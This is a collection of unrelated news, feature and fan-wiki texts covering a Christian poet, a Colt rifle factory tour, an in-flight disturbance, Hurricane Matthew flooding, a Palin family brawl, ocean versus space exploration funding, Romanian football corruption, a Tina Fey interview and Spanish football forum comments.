Perry told the Christian Examiner. “They said for the wages of sin is death, and I perceived it as real. But [Scripture] also said those who repent and believe will inherit eternal life. And I thought, ‘Ok God, I trust you. I believe You.'”  She knew she had to walk away from her girlfriend and stop giving into whatever her flesh wanted. Perry then sat down and penned a poem called “My Life as a Stud.”  “Instead of me dying to myself, I was willing to die for myself,” she wrote. “There was no fairy whispering in my ear/Only me and the devil telling me what I wanted to hear.”  “The more my will to sin would grow, I could see it in my face …. I could see Him stretched out on the wood…/Being the disgrace for the sin I was committing in His face,” Perry continued. “Seeing Him take on the wrath of the Father on the wood in my place/I still spat in His face.”  Perry has performed the song at numerous outlets nationwide, and has sometimes faced resistance for her stance. Her video performance of the poem, first performed live in 2010, now has over 400,00 views.  “No, my friend, you were not born gay,” she declares. “You were born into sin and shaped in iniquity/When Eve ate that fruit, we were cursed to do anything/ We were open for murder, we were destined to lose/We were given free will/You chose to choose/You chose to defy God’s rules ’cause inside of you, you wanted to be like Him and make them.”  Perry has since gone on to sign with Humble Beast Records, where she released her debut album “The Art of Joy” this month, which is also available for free online. Earlier this year, she married fellow poet Preston Perry. But she said that marriage isn’t the panacea—Christ is.  “That’s so not true,” Perry said. “What’s true is that when you’ve been united with Christ by faith, when you know Him and have been made righteous in His sight, that is your goal. Working from that, it’s going to be to live a life that is pleasing to Him whether through marriage or singleness.”  Warning: Explicit Content
-Behind the Scenes at Colt: Making the Nation's Favorite Rifle  Iain Harrison -  In a few minutes, these will be M16 lowers  This past week saw a gaggle of gunwriters traipse through the hallowed halls of Colt's plant in Hartford, Conn. I managed to sneak in at the end of the line and thought you guys might like to take a look at what goes into making the nation's favorite rifle.  There's been big changes over the past few years in the rifle division for Colt. Nowadays they're not just supplying one customer with one product (Uncle Sam, the M4), they're supplying many different customers with up to 40 different rifles in the lineup. This wasn't an internal business decision, it was kind of forced, as the company lost out on the Army M4 contract when it was awarded to the Freedom Group earlier this year. In many ways, the loss was a good thing for Colt and it's line of rifles for the civilian market--their line now boast products the market actually wants. Ain't capitalism grand?  Since 2009, Colt has dropped some serious money into modernizing the plant, with new machinery and processes. It was intriguing to see machine tools made in the 1930's still hard at work, standing next to a state-of-the-art CNC machines. One thing that was truly impressive though, was the attention to quality that went into each gun. Yes, they're far from being custom one-offs, but the gauges, comparators and controls that are in place mean that you can pull a rifle out of the rack and it will perform identically to any other in the line.  Each carbine, whether it's made for the military or civilian market is made to exactly the same standards. We got to see some of the critical dimensions that make up a Military Specification, then compare them at random to parts that were coming off the machines. Suffice to say, the Colt parts exceeded the specification by a wide margin. Having built a fair number of ARs, I always figured that parts were parts, no matter where they came from. I might have to change that opinion.  Take a look inside the plant with me, I'm sure you'll see a few things that'll trip your trigger.  [imagebrowser id=224]
-Toronto Coun. Michael Thompson says he and other passengers subdued and restrained a belligerent man on a flight home from Jamaica earlier this week to calm what they felt had become "a dangerous situation."  Thompson and his mother were on their way back to Toronto from the Caribbean on Monday after a Mother's Day trip together when, about an hour into their Air Canada flight, a man became "rather loud and boisterous" in a conversation with flight attendants, the councillor said.  Air crew members were trying to calm the man, but "he was not very pleasant in his language," Thompson said.  After the man began wielding a coffee pot as if to strike people and then threatened to "take down the plane," Thompson and other passengers asked the flight crew if it was time to do something about the passenger.  When they got the all-clear from the captain, Thompson said he, flight attendants and a few other passengers restrained the man with plastic ties and belted him into a seat until the pilot made an emergency landing at the airport in Orlando.  "At the end of the day it really came down to what we the individuals who were involved and obviously the flight crew felt was a dangerous situation," Thompson told CBC Toronto on Wednesday.  He and other passengers began to fear for their own safety, he said.  "And so part of it was self-preservation."  Man removed from flight by FBI  The man, identified as Brandon Michael Courneyea, was removed from the plane by the FBI on a charge of assault or intimidation of a flight crew member and interfering with their job duties. The allegations against the man have not been proven in court.  A spokesperson for Global Affairs Canada would not speak to the details of Courneyea's case, but confirmed that consular officials are in contact with U.S. authorities about a Canadian citizen that had been detained.  His wife, Amanda Courneyea, told The Canadian Press that her husband had gone on a solo vacation without her and their five children to fulfill a life-long dream. But she had booked him on an earlier flight home because he told her that local residents had threatened his life.  "That is not my husband at all," she told CP in a telephone interview. "There's a lot more to what brought that on, because my husband is the kindest, most loving man you'll ever meet. And anybody that knows him will tell you the same thing."  'We did the right thing'  According to Thompson, the man moved to a seat near him after the flight attendants' first attempts to calm him down. The man sat behind another man and started calling him names and "using colourful language."  Thompson volunteered to sit with the man and try to keep him calm as flight attendants began their beverage service. After a time, the man said he had to stretch his legs, but then began ordering Thompson to get away from him.  Thompson said he wouldn't leave. That's when the man grabbed a silver coffee container in one hand and then said he was "going to take this plane down."  "I was just trying to talk to him in a very calm voice, but he didn't respond to that and kept saying he was going to take the plane down and he was going to open the door," Thompson said. "And I said, 'no you're not.'"  By this point some passengers were crying, he said. That's when Thompson approached the head of the flight crew and asked about the procedure for subduing a passenger.  When the flight attendant said the captain gave the okay, she got some plastic ties and Thompson and a handful of fellow passengers got the man into a seat and restrained him.  No punches were thrown, but "it took some time," Thompson said.  Asked if he would do the same thing again, Thompson said he hopes he never has to.  "It was surreal then, and to a large extent just thinking back about it now, I think all of us … we did the right thing," Thompson said. "I certainly felt my safety was in jeopardy, I felt the safety of the plane was actually in jeopardy."
-Though its winds had weakened as it moved north, Hurricane Matthew delivered record-breaking rainfall to parts of Georgia, South Carolina, North Carolina, and Virginia. In many coastal areas, the storm dumped well over 12 inches (30 centimeters) of water.  On October 9, 2016, the Moderate Resolution Imaging Spectroradiometer (MODIS) on NASA’s Terra satellite captured this image of floodwaters laden with sediment pouring out from several rivers in North Carolina and South Carolina. Colored dissolved organic matter may have contributed to the dark color of the river water as it spilled into the Atlantic Ocean.  The rain combined with intense storm surges left many communities swamped and reeling. At least 10 people died in North Carolina; several of them were swept away in cars while attempting to drive. Authorities have rescued thousands of other people from homes and cars. More than 1,500 people were stranded in Lumberton, North Carolina, according to news reports.  NASA image by Jeff Schmaltz and Adam Voiland, LANCE/EOSDIS Rapid Response. Caption by Adam Voiland.
-Sarah Palin and her family were reportedly involved in a mass brawl at a snowmobile party which had to be broken up by police.  Alaska's gossip blogs lit up with accounts of the Saturday night fight, claiming that the former governor's son and daughter both threw punches while Mrs Palin herself shouted: "Don't you know who I am?" as the scene descended into chaos.  Police confirmed that "some of the Palin family members" were at the party, where a "physical altercation [was] taking place between multiple subjects". A spokesman added: "Alcohol was believed to have been a factor in the incident."  According to Amanda Coyne , an Alaskan political blogger, the incident took place at a party celebrating the Iron Dog snowmobile race, a contest won several times by Mrs Palin's husband Todd.  Mrs Palin's 25-year-old son Track apparently emerged from a Stretch Hummer limousine and got caught up in a fight, soon joined by his younger sister, Bristol. The blogger suggested that the other participant in the fight was a man who had previously dated another sister, Willow Palin.  Track Palin stumbles out of a stretch Hummer, and immediately spots an ex-boyfriend of Willow’s. Track isn’t happy with this guy, the story goes. There’s words, and more. The owner of the house gets involved, and he probably wished he hadn’t. At this point, he’s up against nearly the whole Palin tribe: Palin women screaming. Palin men thumping their chests. Word is that Bristol has a particularly strong right hook, which she employed repeatedly, and it’s something to hear when Sarah screams, “Don’t you know who I am!” And it was particularly wonderful when someone in the crowd screamed back, “This isn’t some damned Hillbilly reality show!”  Sarah Palin [centre] surrounded by her family members. Back row: son Track and husband Todd, second row: daughter Willow [left] and Bristol [right] and daughter Piper [front]  Anchorage Police would not confirm whether the former governor was at the scene, saying that "no arrests were made" and the incident was being looked by detectives and prosecutors.  It wasn't the only drama to befall the Palins in recent days. On Sunday, the day after the fight, a man was arrested for allegedly stalking Bristol Palin.  Miss Palin, now 23, first came to international attention during the 2008 election when it emerged she was pregnant at 17. She was twice engaged to the baby's father, Levi Johnston, but the pair split up without marrying.  Mr Johnston later wrote a book titled "Deer in Headlights: My Life in Sarah Palin's Crosshairs".  Police said that Miss Palin returned to her home on Sunday to find Peter PW Ferrero, a 25-year-old man from Florida waiting in her driveway. He had allegedly bombarded her with hundreds of Facebook message has been charged with felony.  Ferrero claimed he had climbed up to a third-floor balcony at the house and tried to open a door there, according to a police report.  Sarah Palin’s office did not respond to requests for comment.
-Animation studio TMS Entertainment began streaming the fifth short in Dededen , its new original anime with Seibu Railways, on Sunday. The anime celebrates both the 50th anniversary of TMS Entertainment and the 100th anniversary of Seibu Railways. TMS Entertainment happens to be located near the Araiyakushimae Station on the Seibu Shinjuku Line.  The studio streamed the first episode in March, the second episode in June, the third episode in August, and the fourth episode in October.  The anime follows the daily life of the main lead Amoru Tokorozawa and the railway. TMS plans to make five episodes, each 75 seconds long. The anime is running on the trains' onboard SmileVision screens, as well as on the Smile StationVision screens around major stations from February 23 to December 31.  Hiro Kaburaki is directing the anime with Norihiro Naganuma, his assistant director on Kimi ni Todoke - From Me to You, My Little Monster, and Hozuki's Coolheadedness. Kayoko Ishikawa (Aikatsu design works) designed the characters, and S.E.N.S. (Kimi ni Todoke - From Me to You, xxxHOLiC, Ore Monogatari!!) scored the music.
-For some, the irony is almost too much to bear. While Congress is eager to fund a $2 billion expedition to search for oceans beneath Europa, some 95% of Earth's oceans are unexplored. Given the role of oceans in regulating climate, and their untapped potential for food and health, is it time to rethink our priorities?  This debate has been going on for half a century. Even John Steinbeck wrote an impassioned plea in 1966 to create a NASA for the oceans:  While the lifeless rubbled surface of the inconstant moon becomes increasingly littered with the burnt-out bones of vehicles, the bathyscaphe has visited the deep and unknown places of the earth only a few times. There is never much argument about appropriations for space shots, but a recent request for money to explore, map, and evaluate the hidden places of our mother earth brought howls of protest from Congressional leaders and the inevitable question—is it really necessary? We must explore our world and then we must farm it and harvest its plant life…..And we must mine the minerals, refine the chemicals to our use. Surely the rewards are beyond anything we can now conceive, and will be increasingly needed in an over-populated and depleting world. There is something for everyone in the sea—incredible beauty for the artist, the excitement and danger of exploration for the brave and restless, an open door for the ingenuity and inventiveness of the clever, a new world for the bored, food for the hungry, and incalculable material wealth for the acquisitive—and all of these in addition to the pure clean wonder of increasing knowledge.  Advertisement  Steinbeck's arguments are still heard among oceanographers and self-described "ocean nerds" today. "As a scientist, I want to explore the great wonders our ocean has to offer," writes Conservation International's Greg Stone. "As a conservationist, I need to explore the vital human-ocean connection: how the ocean can provide for people and how our impacts affect the health of our oceans."  Likewise, Michael Conathan at the Center for American Progress argues:  In a time of shrinking budgets and increased scrutiny on the return for our investments, we should be taking a long, hard look at how we are prioritizing our exploration dollars. If the goal of government spending is to spur growth in the private sector, entrepreneurs are far more likely to find inspiration down in the depths of the ocean than up in the heavens. The ocean already provides us with about half the oxygen we breathe, our single largest source of protein, a wealth of mineral resources....  Advertisement  But even in a time of shrinking budgets, the priorities remain unchanged: NASA's exploration budget dominates the ocean exploration budget of NOAA (National Oceanic and Atmospheric Administration) by roughly 150-to-1.  Out of Sight, Out of Mind  Advertisement  We are awed by the beauty and diversity of marine life, including exotic creatures that look more alien than anything we've seen in science fiction. We recognize the impact that environmental degradation of the oceans has on tourism and fishing industries. We express outrage over whale hunting. And with every passing week, we hear more dire news about the ocean's longterm health: massive "dead zones," accumulating plastic debris, the growing threats to coral reefs.  So, why does ocean exploration hold less appeal than the exploration of space?Conathan argues that part of this incongruity comes from access:  No matter where we live, we can go outside on a clear night, look up into the sky, and wonder about what's out there. We're presented with a spectacular vista of stars, planets, meteorites, and even the occasional comet or aurora. We have all been wishing on stars since we were children. Only the lucky few can gaze out at the ocean from their doorstep, and even those who do cannot see all that lies beneath the waves.  Advertisement  And those exotic, deep-sea creatures? They often don't survive the trip to the surface. Decompression is usually fatal. Our ability to understand these animals remains limited, and we remain disconnected from deep ocean life.  And then, there's the harsh reality described by Ryan Carlyle, a subsea hydraulics engineer — ocean exploration can be excruciatingly boring:  The vast majority of the seafloor once you get >50 miles offshore is barren, featureless mud. On face, this is pretty similar to the empty expanses of outer space, but in space you can see all the way through the nothing, letting you identify targets for probes or telescopes. The goals of space exploration are visible from the Earth, so we can dream and imagine reaching into the heavens. But in the deep oceans, visibility is less than 100 feet and travel speed is measured in single-digit knots….Sure, there are beautiful and interesting features like geothermal vents and coral reefs. But throughout most of the ocean these are few and far between. We stare up at the stars and dream of reaching them, but few people look off the side of a boat and wish they could go down there.  Advertisement  Or, put another way, here is a typical view from an undersea probe:  And, here's a view from a rover on Mars:  Advertisement  Let's face it. When we see images from other planets, even the most mundane terrain captivates us, because we getting close-up glimpses of worlds where humanity has yet to visit. What's always been true about exploration remains true today: Nothing intrigues us like the blank spots on a map.  The Case Against Space  One of the most ardent proponents of shifting our exploration priorities is Amitai Etzioni, the director of the Institute for Communitarian Policy Studies at George Washington University. In his 1964 book The Moondoggle, he said there was less to be gained in deep space than in near space — the sphere in which communication, navigations, weather, and reconnaissance satellites orbit — and argued for more investment in studying our own planet instead of the Moon.  Advertisement  Fifty years later, his views haven't changed; if anything he feels vindicated. In the most recent issue of the journal, Issues In Science and Technology, he updates his 1964 argument, saying that we need to choose the "fruitful frontier" over the "final frontier."  The entire article is worth reading in full, but here are some highlights of his case for bringing our exploration budget down to Earth:  Climate  NASA does make helpful contributions to climate science by way of its monitoring programs…. However, there seem to be no viable solutions to climate change that involve space. By contrast, it is already clear that the oceans offer a plethora of viable solutions to the Earth's most pressing troubles. For example, scientists have already demonstrated that the oceans serve as a "carbon sink." The oceans have absorbed almost one-third of anthropogenic CO2 emitted since the advent of the industrial revolution and have the potential to continue absorbing a large share of the CO2 released into the atmosphere. Researchers are exploring a variety of chemical, biological, and physical geoengineering projects to increase the ocean's capacity to absorb carbon. Additional federal funds should be allotted to determine the feasibility and safety of these projects and then to develop and implement any that are found acceptable.  Advertisement  Food  Although aquaculture is rapidly expanding—more than 60% from 2000 to 2008—and represented more than 40% of global fisheries production in 2006, a number of challenges require attention if aquaculture is to significantly improve worldwide supplies of food. First, scientists have yet to understand the impact of climate change on aquaculture and fishing. Ocean acidification is likely to damage entire ecosystems, and rising temperatures cause marine organisms to migrate away from their original territory or die off entirely. It is important to study the ways that these processes will likely play out and how their effects might be mitigated. On the issue of food, NASA is atypically mum. It does not claim it will feed the world with whatever it finds or plans to grow on Mars, Jupiter, or any other place light years away. The oceans are likely to be of great help.  Advertisement  Health  While NASA has claimed that its space exploration "benefit[ted] pharmaceutical drug development"….Ocean research, as modest as it is, has already yielded several medical "spinoffs." The discovery of one species of Japanese black sponge, which produces a substance that successfully blocks division of tumorous cells, led researchers to develop a late-stage breast cancer drug. An expedition near the Bahamas led to the discovery of a bacterium that produces substances that are in the process of being synthesized as antibiotics and anticancer compounds. In addition to the aforementioned cancer fighting compounds, chemicals that combat neuropathic pain, treat asthma and inflammation, and reduce skin irritation have been isolated from marine organisms….[Yet] up to two-thirds of all marine life remains unidentified.  To Boldly Go  Furthermore, for years scientists have been fascinated by noises originating at the bottom of the ocean, known creatively as "the Bloop" and "Julia," among others. And the world's largest known "waterfall" can be found entirely underwater between Greenland and Iceland, where cold, dense Arctic water from the Greenland Sea drops more than 11,500 feet before reaching the seafloor of the Denmark Strait. Much remains poorly understood about these phenomena, their relevance to the surrounding ecosystem, and the ways in which climate change will affect their continued existence. In short, there is much that humans have yet to understand about the depths of the oceans, further research into which could yield important insights about Earth's geological history and the evolution of humans and society. Addressing these questions surpasses the importance of another Mars rover or a space observatory designed to answer highly specific questions of importance mainly to a few dedicated astrophysicists, planetary scientists, and select colleagues.  Advertisement  Etzioni argues that NASA's projects, especially those dedicated to exploring deep space and to manned missions, can readily be cut, with billions moved from distant planets to nearby oceans. Echoing that letter written by John Steinbeck nearly 50 years ago, Etzioni concludes, "The United States needs an agency that can spearhead a major drive to explore the oceans—an agency that has yet to be envisioned and created."
-Atlas Obscura on Slate is a blog about the world’s hidden wonders. Like us on Facebook and Tumblr, or follow us on Twitter.  Stretching over an arm of Lake Triftsee (itself a product of the Trift glacier), hidden among the high Swiss Alps, the Trift Bridge is a thin modern suspension bridge that looks like it could blow over with one stray wind, but is in fact quite safe.  Originally built in 2004, the bridge was replaced in 2009. The first bridge was constructed to allow workers from the Trift hydroelectric plant to access a power plant that was built below the glacier to collect and use the run off. A few short years after the original bridge was built, the second, sturdier model was hung across the wide ravine and the site was opened to the public.  Advertisement  Currently the bridge spans a vertigo-inducing 560-foot gap in the mountains, suspended over 300 feet from the valley floor. Unlike some of its more primitive inspirations, the Trift bridge is made of thick steel cables over which wooden planks have been bolted. Despite the modern construction it still looks like a death trap.  While the bridge itself is an impressive site to visit, the journey there is harrowing in and of itself. You'll need to take a cable car, which also rises high above the ground.
-The Black Knight is the lead jouster at Quahog's Ye Olde Renaissance Faire. He is romantically linked to Maid Madeline, who also works at the Fair. He also drives a Yellow Hyundai. He was voiced by Will Ferrell.  This Knight appears in "Mr. Saturday Knight". In it Peter Griffin, recently and suddenly unemployed, decides to fulfill his childhood dream of becoming a knight. He gets a job as a jouster at the Ye Olde Renaissance Fair. When the Black Knight catches Peter and his wench in a seemingly-provocative situation, he tells Peter he never wants to see him there ever again, causing Peter to quit his job as a jouster. Later, when he saw Peter watching the jousting competition he insulted him by calling him a fizzle, which provoked Peter to joust against him. While charging at each other, Tom Tucker announced that the owner of the Yellow Hyundai had their car being towed, causing The Black Knight to lose focus long enough for Peter to knock him off his horse. It turns out Mort Goldman did it out of revenge.  Years earlier, while apparently experiencing an acid trip as a teenager, Peter found himself at the top of a fake castle at the Renaissance Fair. After proclaiming that he could fly, Peter jumped off the castle, thankfully being rescued by the Black Knight. From that night, Peter aspired to be a knight. Peter tried to tell him about that day, but the Black Knight was too busy shaving.  Although different in character design, Peter builds a moat in "Death Has a Shadow" to keep the Black Knight at bay.
-RECENT YEARS HAVE seen the last nails knocked into the coffin of Romanian football. It seems that Gheorghe Hagi’s famous words that Romanian football was a ticking time bomb, waiting to implode on itself, have come true.  Let’s go back in time a bit, more precisely to 1998. The Romanian national football team was still one of the top sides in the world at that time, boasting talents the like of Hagi, Popescu, Ilie and Petrescu. The team had qualified for the 1998 World Cup in France by the time the Tricolorii had one last warm-up match before the finals, against Paraguay in Bucharest.  The game took place at Steaua Bucharest’s ground, the Ghencea Stadium, on 3 June. Romania lost, with high-tension following the game as local fans admonished many of the players after some decisive errors. Gheorghe Hagi, Romania’s finest talent, broke down after the game at the press conference, unable to carry the burden of the national team any longer. He famously said:  “For ten years we’ve hidden [through our performances] the dire conditions we have here in Romania. We have nothing, no football. Where are the performances produced by the clubs in Romania? We deserve for you to make us statues for what we [the national team] have done considering the conditions in Romania. The results are singing with us. Romanian [club] football is gone. Gone. Zero. In two or three years, zero.”  Eighteen years after Hagi’s infamous words, the nation is finally realising how accurate he was. Since then, Romania’s national team have not qualified for another World Cup, with the wait showing no signs of ending. This season, no Romanian football club reached the group stages of any European competition, and the only thing that keeps the in any kind of existence is the TV rights deal.  So how did Romanian football end up here? What has changed since the days when Ilie Dumitrescu scored twice against Argentina in 1994, since the Balkan nation beat England at two consecutive tournaments, in 1998 and 2000, and since Steaua and Rapid Bucharest played against each other in the quarter-final of the UEFA Cup in 2006? It’s a question many Romanian fans are asking of themselves.  The issues can broadly be split into three main categories: corrupt club owners, financial irregularities, and a lack of long-term planning.  [divider]Corrupt owners[/divider]  The titles of books written by present and former football club owners in Romania during time behind bars is both the most ironic and tragic list: The Competition, An Investor’s Guide to Football, Management of Football Clubs, Structures and Organizations, Sportsman’s Personality – A Prerequisite for Success in Sport, and Football For Future Professionals.  From the prisons of Jilava and Poarta Albă have come of the most condescending titles in Romanian football literature; advice by men that flouted the rules, broke down the Romanian game, and ended up behind bars.  “Gheorghe Hagi is the only one that invests white money in Romanian football.” These blunt words recently came from Ioan Becali, a former football agent who is now behind bars after being found guilty of tax evasion. His theory suggests that the domestic game is rife with corruption and mismanagement, something he contributed to himself.  At the beginning of the 2000s, the biggest Romanian clubs reached deep into the pockets of notoriously unpopular figures at the time – they were in dire financial straits in most cases – individuals who were very rich but whose interests didn’t include the well-being of the national game.  Skeptical fans at the time suggested that these individuals were looking to benefit from increased popularity by donating money in the short-term and failing to looking consider what Romanian football really needed to grow and prosper again.  Some of these individuals simply wanted fame, and to benefit from their club’s stature in the country to grow their other businesses. Some of them simply wanted to make profit; but none of them wanted to own a successful and healthy football club, one that could grow both financially and pick up silverware.  The case in-point is of Unirea Urziceni. The small club, founded in 1954, won the league in 2009 for the first time and went straight into the Champions League, where they enjoyed a number of impressive, dogged performances. After the money for participation in the competition – largely TV rights revenue – arrived, the team’s owner, Dumitru Bucşaru, withdrew financial support as he had made a sharp profit.  Unirea were, as a result, forced to sell most of their top players to cover debts, leading to relegation at the end of the next season. The following summer saw Bucşaru fail to file for a licence for the club to play in Liga I; he decided against any league participation at all for the fallen giants. Unirea Urziceni were subsequently dissolved and, in the space of three years, the club went from a proud 55-year history and European participation to folding and a mass exodus of talent from the domestic league.  A similar story befell Oțelul Galați, who won the league in 2011. They subsequently played in the Champions League but were relegated after the club’s owner took all of the revenue from UEFA and left with his pockets lined.  Read | Gheorghe Hagi: the master of fantasy  Despite many of these club owners spending time behind bars as a result of their blatant corruption, many serve short sentences and are then free to continue their businesses. Some have even attempted to return to Romanian football.  The issue of corruption is rife in Romanian’s top-flight, a league well-known for the number of matches that were fixed in the 1990s and early 2000s. The corruption that occurred in the domestic was not a wholly surprising story to the fans, but most were shocked at how well it was hidden in plain sight.  The people who led the top-flight formed a type of Cosa Nostra, called Cooperativa. What’s even more bizarre is that nicknames, such as ‘Corleone’, for Dumitru Dragomir, former president of the Professional League of Football, ‘The Lord’, for Jean Padureanu, owner of FC Gloria Bistrița, and ‘The Godfather’, for Mircea Sandu, President of the Romanian Football Federation, were out in plain sight but were never investigated. If ever there was a need to delve deep into the financial and sport irregularities, this was surely it.  Meanwhile, during this period, clubs endured some of the darkest days for Romanian teams in the European competition. With the national league being considered by many as one of the weakest in Europe, owners took the decision to deny their teams participation at all, failing to renew licences and driving fans away.  In 2003, one of the aforementioned owners at the time, Dumitru Sechelariu, admitted on a TV show that he was strongly involved in fixed matches and also that there was an association of a couple of club owners who did the same, proposing them to stop this practice. Though this was a turning point in the eradication of match fixing, the damage was already done.  While some owners are football people with a genuine will to improve the domestic game, sadly many have closed academies, withdrawn financial support, sold off the best talent on the cheap to the first bidder, and instigated an era of corruption and financial irregularity. How can a league function and grow – and more importantly recover – if those in power are the most corrupt?  [divider]Financial mismanagement[/divider]  The most pertinent financial analysis in football is undertaken by Deloitte. They split the revenues of a club in three main categories: matchday, broadcasting rights, and commercial sources. If you were to apply these criteria to Romanian football in the 1990s and 2000s, you’d find some of the most poorly managed clubs in Europe.  The TV broadcasting plan was worth pittance, the merchandise available for sale was minimal to non-existent, and the stadiums were often empty. With such an unhealthy business model, how did clubs survive during these barren years? The answer is simple: owners treated their clubs like a toy. Each time their team needed money, they pumped funds in the club’s accounts. When they stopped doing this, however, or could no longer afford to, large cracks appeared.  This is how historic clubs with large fan bases, such as Rapid Bucharest, were relegated. It is how a club such as FC Vaslui disappeared a few years after playing in the Champions League. It’s also how a club like CFR Cluj, who beat Manchester United at Old Trafford in 2012, can now be suspended by the Romanian Football Federation for not being able to pay its debts after owner Pászkány Árpád left. It’s how clubs such as Dinamo Bucharest, Universitatea Cluj and Oțelul Galați became insolvent. It was the only thing they could do to survive.  For Romanian football fans, it’s harrowing to have witnessed the fall from grace from the 1980s and mid-1990s to now. With decrepit, empty stadiums and a lack of talent on show, it’s almost impossible to attract younger fans as the best talent continues to leave the country at the earliest opportunity. The problems are compounded further by club’s having to use the money generated from player sales to simply survive. Signing players for significant sums is almost unheard of in Romania now.  In the summer of 2015, with the exception of Steaua Bucharest, only one other club could afford to pay to sign a player. The rest of the clubs signed only free agents.  Some comfort came in 2014 with a new broadcasting deal that was introduced based on revenue, allowing clubs to guarantee their survival provided they manage their finances carefully.  With the exception of heavyweights Steaua – whose annual budget is around €15 million – the other teams depend on the money from TV rights, which cover up to 70 percent of their total budget. League officials and representatives of the clubs estimate that the presence of the TV deal is so important that if the money ceased, only five teams would be able to survive.  Read | How Gigi Becali failed Steaua Bucharest  The plot thickens with the knowledge that most of the teams that could survive are funded by local politicians and town halls, and used as an electoral tool.  It’s hard to see how clubs can survive without a real shake-up of the current governance system and owners whose interest is in the long-term state of the Romanian game. Football is today a game directed by money; where you put that money is all-important.  [divider]A lack of long-term thinking[/divider]  It’s easy to turn on the TV, to zap through the sports channels, or to check Romanian football newspapers and websites to realise that the domestic game is drowning at the moment.  The greatest challenge for Romanian football is to paint a brighter future. With owners using clubs for short-term gains, the long-term picture is almost impossible to paint. What will the state of Romanian football look like in 20 years? Pessimists will say very much the same; optimists will point to a change on the horizon.  Disregarding a few development centres belonging to the Football Federation, Romania does not have even host an academy league anymore. So many talented children that reach 18 are lost in the mire of Romanian football, being forced to seek a contract abroad or to hang up their boots for good.  As only a few managers rely and trust young players in Romania – with a culture of needing results immediately ensuring that few youngsters are given a chance – most of the kids have no other option than to leave. Others, more fortunate youngsters, are recruited by the big teams, but become second choice options to foreigners often of questionable value and skill.  Sadly, the people who should have helped our clubs progress are in jail for stealing money instead of serving the game. Steaua Bucharest, the most important club in Romania, closed its academy because owner Gigi Becali could not see the value in long-term planning, preferring to sign players who were ready to play immediately. Smaller clubs from the top-flight also prefer to sign out-of-contract foreign players instead of promoting young, local lads.  The positive comes from the fact that a couple of independent academies have opened up in Romania in recent years, but they’re simply scratching the surface of the talent that exists across the country. The hard truth is that Romanian players’ best chances are at clubs in Western Europe, who are more likely to pursue with young players.  This is why hundreds of under-16 Romanian players are taken on trial at clubs in England, Spain and Italy each year, with agents descending on the country in the hope of finding the jewels that the domestic game continues to ignore. The great risk with this for the national team is that these players will end up moving abroad, knowing all about the troubles of their native Romania, and playing for their adopted nations instead. The small crumbs of comfort that Romania can still produce good players will be lost as their best talents fail to return.  Gheorghe Hagi’s words cross my mind once again. Perhaps us football fans in Romania believed that the current problems were simply cyclic, that we once had Nicolae Dobrin and Ilie Balaci, spent some time in the wilderness, before the great teams of Hagi and Popescu came along and restored pride. The problem is, the issues run far deeper today than they ever had before.  Watch a Liga 1 match and you’ll realise that Romanian football has few, if any, standout players. Romania, a country that used to be a beacon of football in the region, no longer produces top players. Even more tragically, the memories of Steaua in 1986 seem like a fairytale, a dream we all conceived to hide the blemishes of the game today.  It’s probably too simplistic to say that Romania is suffering today because of the likes of Mircea Sandu, Dumitru Dragomir, the Becali family and others. The reality is, however, that the issues are all linked, from long-term planning to financial mismanagement and the dissolution of academies. Change will only come when measures are implemented to attempt to change the Romanian game in 20 years, not two.  After the transition from the romantic era of football in the 1970s and ‘80s to the modern era, the gap between Romanian football and the rest has become almost impossible to bridge. Romania is being left behind like an old wagon in an abandoned train station. As Gheorghe Hagi said: “Romanian [club] football is gone. Gone. Zero.”  Let’s hope he was wrong after all.  By Avram Alexandru. Follow @alexxx_avr
-When Tina Fey wrote Mean Girls, she drew more inspiration from her own past to craft Queen Bee Regina George than you might have guessed. But now Fey realizes that it's never grool to be cruel  Fey told Net-a-Porter's magazine The Edit that she was mean in high school as the way of dealing with her own insecurity.  "I was [the Mean Girl], I admit it openly. That was a disease that had to be conquered," Fey said. "It’s another coping mechanism – it’s a bad coping mechanism – but when you feel less than (in high school, everyone feels less than everyone else for different reasons), in your mind it’s a way of leveling the playing field. Though of course it’s not."  Fey says she still feels tense around teenage mean girls — some things never change.  But she managed to move past that and ended up with some killer female friendships. While she and Amy Poehler were filming Sisters over the summer, they reunited their old SNL crew and had pool parties with Rachel Dratch, Maya Rudolph and all their kids. Watch out for new comedy dynasties.  Fey reminisced about meeting Poehler, and yes, everyone has always loved her, "I remember counseling so many guys who were just immediately in love with her. It was a phase that every Chicago improviser had to go through – ‘I’m secretly in love with Amy.’"  Fey also offers the secret to immortality: “Steer clear of the internet and you’ll live forever."
-#166 hala-madrid-guti  31.Jul.2010 | 21:11 este tio es un suplente de puyol y pique, y a exo bien por irse  #168 rycopan25  31.Jul.2010 | 22:05 llego al barça sin hacer ruido y ha jugado 5 años a todo tren, grandisimo defensa con muy pocos errores y un poderio defensivo de mucho nivel! ojala te vaya bien haya donde vayas, gracias por todo marquez!!! GRANDE CULE !!  #169 art5116  31.Jul.2010 | 23:00 El moderador parece que le escuece que diga que a Gago en el partido del Bernabeu contra el Barça debió haber sido expulsado varias veces y se fue de rositas. Y le escuece que le recuerde que quizás el árbitro no lo hizo por culpa de la campaña mediática, y nunca mejor dicho, porque mediatizó a los árbitros contra el Barça de manera escandalosa toda la segunda mitad del campeonato, y aun así se ganó la liga con 3 puntos de ventaja. ¿Quizás el moderador se siente parte de esa campaña de desestabilización contra el Barça y que presionó y condicionó tanto a los trencillas como para no expulsar a un jugador como Gago que hizo más méritos que los leñeros holandeses de la final del mundial?  #171 jugarfe  01.Ago.2010 | 08:59 desde el # 1 al 169 como se ve el plumero ahora resulta que marquez es beckenbauer  #172 nomquesaptothom  01.Ago.2010 | 11:06 #171 desde el # 1 al 169 como se ve el plumero ahora resulta que marquez es beckenbauer Marquez ha tenido un rendimiento y comportamiento exquisito en estos 7 años que ha pasado en el Barça, se ha ganado el apoyo y respeto de toda la afición culé. La celebracion de la liga ya olía a despedida. Suerte en el futuro y Barcelona siempre sera tu casa!!  #176 m.kaulitz  01.Ago.2010 | 17:21 Grande Marquez, creo que ha llegado a un acuerdo con el NY Red Bull donde esta Henry. Suerte Forza Xerez  #177 flecher  01.Ago.2010 | 20:15 deseo q marquez le vaya de maravilla,se ha comportado comoun autentico profesional y ha sido correcto siempreen todo ,hasta en su despedida ,un caballero ,gracias por defender la camiseta del mejor equipo de la historia  #178 alsansa  01.Ago.2010 | 21:52 Si, ha sido buen jugador, no era Beckenbauer, pero dió algo de nivel a la defensa y al centro del campo azulgrana. La cuestión ahora es... ¿cuánto le cuesta este "despido" al Barcelona? Recordemos que él estaba dispuesto a seguir, pero Guardiola ha dicho que no sigue, supongo que por dos años se llevará una buena pasta. #169 El moderador parece que le escuece 